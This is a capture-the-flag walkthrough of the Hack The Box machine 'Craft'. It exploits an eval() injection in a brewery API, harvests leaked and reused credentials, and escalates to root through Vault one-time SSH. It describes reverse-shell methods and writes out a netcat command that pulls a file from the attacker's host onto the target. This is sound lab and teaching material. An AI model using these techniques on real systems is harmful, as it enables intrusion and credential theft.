Here is the output from Nmap, it shows several ports open.
The high ports aren’t useful, and they’re probably from other hackers since I use the free servers. The ports 22, 443, and 6022 are useful though, and the output shows some info about the services. It shows SSH services on ports 22 and 6022, and also an HTTPS service on 443.
SSH
Connecting to the SSH on port 22 shows this:
Gotta love ASCII art! Feel free to try some passwords if you want, I did 😉.
The SSH on port 6022 was less interesting though:
About Page
Looking at the HTTPS page lets us know some things about the target, and some of the technologies to be exploring: If you hover over the links that are outlined here, you’ll see some hostnames to save and explore.
Apparently, the target is a craft beer brewery, hence the name craft. They seem to be developing a listing of brews and a public REST API to access it.
Links “https://api.craft.htb/api/” and “https://gogs.craft.htb/” are listed and you should save the hostnames “api.craft.htb” and “gogs.craft.htb” into your HOSTS file. It should have lines like this:
If you don’t add these lines to your HOSTS file, you won’t be able to browse those pages, since the site is apparently using Virtual Hosts to direct traffic depending on the hostname you’re visiting.
That’s really all there is to the About page, next look at the ‘api.craft.htb’ page.
API Host
This page breaks down the usage of their application REST API. There are functions to generate and test authentication tokens. And there are functions to work with their list of brews.
It could be useful to inspect these functions.
Gogs Host
This is a locally hosted source code repository that has lots of interesting nuggets of hackery in it!
Definitely explore all of this site, it’s where most of the action happens.
On one of the Issue pages, you will see a couple of things worth noting:
An auth token is left in the source within an example of how to interact with the API through Curl. Both of those points are useful to save in your notes for later.
Another noteworthy point is how they are talking about something awful happening with a particular patch. Take a look at the patch and save the code for later inspection.
When looking through the commit history, one of them you’ll be happy to see for sure…
Credentials! Which is your first way to get in deeper…
Digging Deeper into the API
Using the credentials found in the commit log, try signing into services with it. You’ll find that the Gogs service will allow you to log in as ‘dinesh’. But there isn’t actually anything new I found that opened up because of authentication with those creds. However, they also work with the API, and that is much more useful.
To use these creds for authenticating into the API you first have to understand the auth token. Take the example token found in the source and decode.
It’s a JWT token, which is put together in three sections.
the metadata, describing the type of token and hash type used
the authentication data
the hash signature
Decode each section of the token at a time with ‘base64 -d’.
This example token just has a generic username ‘user’ in it, which is probably bogus. If you use a site like epochconverter.com to decode the expiration date, it shows that token expired in February 2019.
To create a token that works, we’ll have to get the API site to send it to us. Send the credentials for dinesh to the login page and it will return a valid token.
Decode the token and see what it’s auth data is. For me, the expiration time was only about 5 minutes ahead.
Using the Curl request found in the source as an example, craft a request to the server. You could start by sending a request to the ‘api.craft.htb/api/auth/check’ page, or send a brew to add to the list like in the example.
Since you’ll have to get a new token every 5 minutes, it may be best to separate the token out from the curl request like this:
Now you can experiment with sending things to the brew list and looking at sections of the brew list with the other API functions.
Bug Exploiting
Everything you have at this point still won’t get you in any further. So go back to the source and look for ways to abuse the code.
If you go to the ABV values patch that was saved for closer inspection, you can see why one of the comments was to remove the patch before something bad happens. There is an eval() call using untrusted data that was grabbed from the JSON sent during a new brew entry. Eval() calls and exec() calls with untrusted data are the fastest ways to get your Python code pwned.
Exploiting things like this is much easier when you can skip steps like token creation. To do that, make a python exploit script that sets everything up for you in an automated way. My first time through this box, I wrote my own script using the ‘requests’ library. But after looking through the source again I see there is a shortcut given, through the ‘tests/test.py’ file. You should be able to use it mostly as-is, just clean up the parts you don’t need and replace the ‘abv’ value with your shellcode.
Just for laughs though, here is my custom script:
That sloppy exploit script actually shows several of my attempts at getting the shellcode to work. I’ll explain some of the attempts, why they didn’t work, and what I ended up using.
Shellcode
There is almost always more than one way to write shellcode for any given exploit. So you may get one to work that I didn’t.
Attempt 1, Netcat:
The most obvious shellcode here would be to get brew.py to execute a Netcat command back to a listener on our box. Tried that, didn’t work. I’m sure I forgot some of the attempts, but here are some variations I tried. All shellcode attempts were put in a variable called ‘payload’.
Actually, that last one did connect back to my listener, but immediately closed no matter how I tried to issue the command. I read somewhere that it could have been due to netcat reading input from the python script and getting an EOF instead. So I tried setting it up with input and output file descriptors like this:
Not really sure what was causing netcat to fail, but it did.
Attempt 2, Bash Proc TCP Redirects:
Bash has a shortcut to use network connections through the Proc system, and it’s pretty useful for reverse shellcode like this. Unfortunately, it didn’t work this time, mostly because the system doesn’t have Bash installed! Of course, I didn’t know that at the time.
To make it with when Bash is installed, however, you send IO redirects to /proc/tcp/*ip_addr_of_target*/*port*. This is what the command should have looked like:
Attempt 3, Python Netcat Replacement:
This shellcode is all about python. Using socket and subprocess libraries to create a network connection and pipe it into a shell, basically the functionality of Netcat.
I followed the advice I found in this article about condensing python shellcode into a one-liner. Start out with the following python code:
That is the Netcat replacement you need. After reading the article linked above, you’ll end up with a line like this:
The reason the shellcode is put into an exec() call instead of just sent to the vulnerable function, is that eval() is limited to only using expressions and we need to send the ‘import’ statement. Exec() can handle statements like ‘import’ and multiple lines, while the eval() only sees the exec() expression with a string inside of it.
But even when you have this pretty shellcode that looks like it would work and you send it, you still won’t be happy yet… turns out that it needs more formatting work to get rid of syntax errors before it’s ready for prime time. This is the final shellcode that resulted in a reverse shell:
Notice that the newline is double escaped, and quotes inside the exec() call are escaped.
Initial Shell
Once your shellcode works and you have a reverse connection, start poking around the box and seeing what’s listed. I found that you won’t be able to change directory, it’s some sort of jail. But there’s no trouble listing files and directories, and even dumping their contents with ‘cat’. I couldn’t get ‘vi’ to work with this limited shell, but it’s not needed at this point.
Enumerations
Along with the Craft application files, you’ll probably see files dropped by other hackers if you’re on the free network like me. If you want to take some shortcuts you can get clues from what other hackers are leaving behind, but that would make a boring writeup, so I’m not going to.
Most of the files you find are the same that you saw on the Gogs repo. But you’ll find one file here that couldn’t be found elsewhere:
Great! Credentials for the database. It’s always a good idea to try credentials found on other login places you came across before. In this case the SSH services and the Gogs service. But unfortunately, looking for a place to use these creds directly is a rabbit hole. Instead, use what you’re given to query the database with your shell.
SQL Dumping
Turns out Python3 is accessible within this jail, and you have test scripts also. Namely, “dbtest.py”. Use ‘cat’ to dump its contents and look for ways to use it to your ends.
Well, that’s easy enough. Just copy this test script to a new file (if you’re on a free server, to let other hackers have to work for it too), and make some modifications to get more info out of the database.
But… there’s no editor available that’ll work within this limited shell. Bummer. You can edit a file locally on your own box and copy it over with this shell though. I’m sure there are multiple ways to do that, including using “wget”, and “nc”. I chose to go with Netcat.
Start with copying and pasting the original “dbtest.py” code into a file of your own, then modify the SELECT statement.
It’s best to get an overview of the database instead of just guessing table names. Dump out “information_schema.tables” to get that from MySQL.
To get the file over to the remote system, set up a Netcat listener that feeds in your newly created file… like this:
To finish getting the file transferred, go back into your reverse shell and connect back again to your new listener with nc 10.10.15.130 6666 > nop.py .
The initial shell will become unusable after establishing this new connection. To fix that, use a “-w 3” switch on one of the Netcat commands to get it to timeout after 3 seconds. After the 3 seconds, you’ll be able to use the limited shell again without starting another one. Otherwise, just disconnect the reverse shell and re-establish it.
Awesome, we have results printed out! But it seems kind of short, there should be several generic database tables as well as what was made for the application.
The fetchone() call is responsible for the limited results. Instead, use a similar function called fetchall(). Once you get all of the results, it should look like this when it’s cleaned up:
There are actually only two application-related tables, “brew” and “user”. I think it’s pretty obvious which one we want to dump data from. Just modify the python script again to get the data you want.
The dumped user data should look like this:
More credentials! That’s exactly what we need to get further into this box. Try your newly found credentials on everything to see if these guys re-use passwords.
You should find out that Gilfoyle does!
Back To The Source
Once you log into the Gogs service with Gilfoyle’s credentials, you’ll see he has a private repository that you can now explore.
You should immediately see that there’s a folder “.ssh” and inside it actually has an SSH private key. That’s got to be used for something good.
Also, there’s a suspicious-looking file named “secrets.sh” in the “vault” folder. Anything named secrets is sure to be a juicy target, right? Inside of the shell script it even mentions the “root” user. Definitely research this file and see what’s it’s about.
Vault
From the documentation: Vault is a tool for securely accessing secrets. As far as targets go, nothing could be juicier than things intentionally hidden. So you have to figure out how to use the vault.
Googling the line of code “vault secrets enable ssh” from the “secrets.sh” script, you’ll come to a documentation page explaining ways to use SSH authentication with Vault. After reading the manual, you should be able to tell that this script is setting up a One Time SSH Password to log into the root account. So running this script is probably a way to escalate to the root account after we get in some other way first.
SSH
Use this key to log into one of the SSH services that was discovered early in the challenge. Copy the keys into your own “.ssh” folder. I named mine specifically for this challenge, but you can leave the default names as they are.
After you have the keys saved to your box, make sure the agent is running by issuing the command ssh-agent and then add the key with ssh-add like this:
You will be prompted for a passphrase to use the private key, but good for us that Gilfoyle reuses passwords! Just copy and paste in the previously found password and you’re in!
Get USER, onto ROOT
Getting root is super easy since we already saw the way in. From the vault documentation, just issue the following command that will do the same thing that script file does: